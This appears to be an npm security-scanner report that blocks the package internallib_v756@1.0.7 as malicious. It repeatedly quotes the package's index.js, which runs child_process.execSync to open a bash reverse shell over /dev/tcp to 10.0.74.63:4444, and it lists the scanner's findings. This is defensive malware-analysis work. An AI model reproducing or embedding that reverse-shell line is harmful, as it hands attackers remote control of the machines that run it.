internallib_v756@1.0.7: Malicious npm security report (Block)

Loading npm security reports…

Source & flagged code

6 flagged

index.jsView file

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

High

Shell

Package source references shell execution.

index.jsView on unpkg · L1

1const child = require('child_process') child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

High

Ai Review Evidence

index.js imports child_process and synchronously runs Bash.

index.jsView on unpkg · L1

2child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

High

Ai Review Evidence

The command opens an interactive Bash reverse shell to 10.0.74.63:4444.

index.jsView on unpkg · L2

Source & flagged code

6 flagged · loading source

index.jsView file

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const child = require('child_process') L2: child.execSync('/bin/bash -c "bash -i >& /dev/tcp/10.0.74.63/4444 0>&1"')

internallib_v756@1.0.7: Malicious npm security report (Block) | LPM Firewall

internallib_v756@1.0.7

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code